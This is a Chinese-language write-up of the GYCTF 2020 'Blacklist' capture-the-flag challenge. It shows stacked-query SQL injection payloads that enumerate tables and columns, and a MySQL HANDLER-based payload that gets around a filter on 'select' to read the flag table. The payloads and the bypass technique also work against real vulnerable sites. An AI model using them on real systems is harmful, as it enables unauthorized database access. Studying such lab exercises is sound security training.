GYCTF 2020 Blacklist
# GYCTF 2020 Blacklist
# 题目分析
首先看一下题目,很普通的一个查询页面:
输入2a后返回以下页面,测试后是单引号字符型注入
常规猜字段,字段数为2
尝试联合注入1' union select 1,2#
,提示被过滤了
后续尝试报错注入,但过滤了很多东西,没试出结果,不过测试出了show可用,并且堆叠注入也可用
查表1';show tables;
查FlagHere表中的列1';show columns from FlagHere;
# 思路整理
- select关键字被过滤了无法使用
- flag所在的表名、列名已知
- 需要用其他函数或办法代替select查询出数据
# Handler语法
# 背景
- handler语句,一行一行的浏览一个表中的数据
- handler语句并不具备select语句的所有功能。
- mysql专用的语句,并没有包含到SQL标准中。
- handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
# 语法
HANDLER table_name OPEN //打开一张表,无返回结果,实际上这里声明了一个名为table_nam的句柄
1
HANDLER table_name READ FIRST //获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果
1
HANDLER table_name CLOSE //关闭打开的句柄
1
HANDLER table_name READ index_name = value //通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览
1
# Payload
回到本题,所以构造Payload如下:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
1
即可获得flag
上次更新: 2022/09/25, 13:38:30